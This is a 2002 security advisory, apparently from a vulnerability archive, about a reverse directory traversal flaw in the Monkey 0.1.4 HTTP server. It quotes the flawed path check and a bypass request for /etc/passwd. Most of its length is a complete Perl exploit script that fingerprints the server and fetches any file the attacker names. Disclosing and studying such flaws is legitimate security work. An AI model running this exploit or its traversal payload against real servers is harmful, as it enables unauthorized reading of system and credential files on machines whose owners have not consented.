IIL Advisory: Reverse traversal vulnerability in Monkey (0.1.4) HTTP server

2002-09-30T00:00:00
ID SECURITYVULNS:DOC:3539
Type securityvulns
Reporter Securityvulns
Modified 2002-09-30T00:00:00

Description

                [ Illegal Instruction Labs Advisory ]

[-------------------------------------------------------------------------] Advisory name: Reverse traversal vulnerability in Monkey (0.1.4) HTTP server Advisory number: 12 Application: Monkey (0.1.4) HTTP server Application author: Eduardo Silva (EdsipeR)
Author e-mail: edsiper@linux-chile.org Monkey Project: http://monkeyd.sourceforge.net Date: 06.09.2002 Impact: Attacker can read files out of SERVER_ROOT directory Tested on: Debian 2.1 (2.0.36 kernel) Discovered by: DownBload
Mail me @: downbload@hotmail.com

======[ Overview Monkey is very simple and fast HTTP server (daemon). Monkey supports HEAD & GET methods, multiple connections, 100 MIME types.

======[ Problem
Monkey doesn't check HTTP request for ../ string, and because of that, attacker can view any file out of SERVER_ROOT directory which Monkey can read (if Monkey is running under root account, attacker can read any file on that machine). There is still one thing which will make attack a little more "complicate":

  • src/method.c ... if((strcmp(aux_request,"/"))==0 || aux_request[1]=='.' ) { snprintf(filename,255,"%s",SERVER_ROOT); } ...

Translated to (poor:) english: If our request is / or second char of our request is . , than path will be set to SERVER_ROOT, and in that case, we can't go out of SERVER_ROOT directory.

Previous "if" will prevent simple reverse traversal attack like this one: ---cut here--- GET /../../../../../../../../../etc/passwd HTTP/1.0 ---cut here---

But can't prevent this reverse traversal attack: ---cut here--- GET //../../../../../../../../../etc/passwd HTTP/1.0 ---cut here---

======[ Exploit

---cut here---

!/usr/bin/perl

(0 day;) Monkey-0.1.4 reverse traversal exploit

Usage:

perl monkey.pl <hostname> <httpport> <file>

<hostname> - target host

<httpport> - port on which HTTP daemon is listening

<file> - file which you wanna get

Example:

perl monkey.pl www.ii-labs.org 80 /etc/passwd

by DownBload <downbload@hotmail.com>

Illegal Instruction Labs

use IO::Socket;

sub sock () { $SOCK = IO::Socket::INET->new (PeerAddr => $host, PeerPort => $port, Proto => "tcp") || die "[ ERROR: Can't connect to $host!!! ]\n\n"; }

sub banner() { print "[--------------------------------------------------]\n"; print "[ Monkey-0.1.4 reverse traversal exploit ]\n"; print "[ by DownBload <downbload\@hotmail.com> ]\n"; print "[ Illegal Instruction Labs ]\n"; print "[--------------------------------------------------]\n"; }

if ($#ARGV != 2) { banner(); print "[ Usage: ]\n"; print "[ perl monkey.pl <hostname> <httpport> <file> ]\n"; print "[--------------------------------------------------]\n"; exit(0); }

$host = $ARGV[0]; $port = $ARGV[1]; $file = $ARGV[2];

banner(); print "[ Connecting to $host... ]\n"; sock(); print "[ Sending probe... ]\n"; print $SOCK "HEAD / HTTP/1.0\n\n"; while ($a = <$SOCK>) { $line = $line . $a; } if ($line =~ /Monkey/) { print "[ Monkey HTTP server found, continuing... ]\n"; } else { die "[ SORRY: That's not Monkey HTTP server :( ]\n\n"; } close ($SOCK);

print "[ Connecting to $host... ]\n"; sock(); print "[ Sending GET request... ]\n"; print $SOCK "GET //../../../../../../../../../$file HTTP/1.0\n\n"; print "[ Waiting for response... ]\n\n"; while ($line = <$SOCK>) { print $line; } close ($SOCK); ---cut here---

======[ Greetz Greetz goes to #hr.hackers, #ii-labs and #linux <irc.carnet.hr>. Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis, Fr1c, phreax, StYx, harlequin, LekaMan, Astral and www.active-security.org (NetZero & Paradox). I'm very sorry if I forgot someone.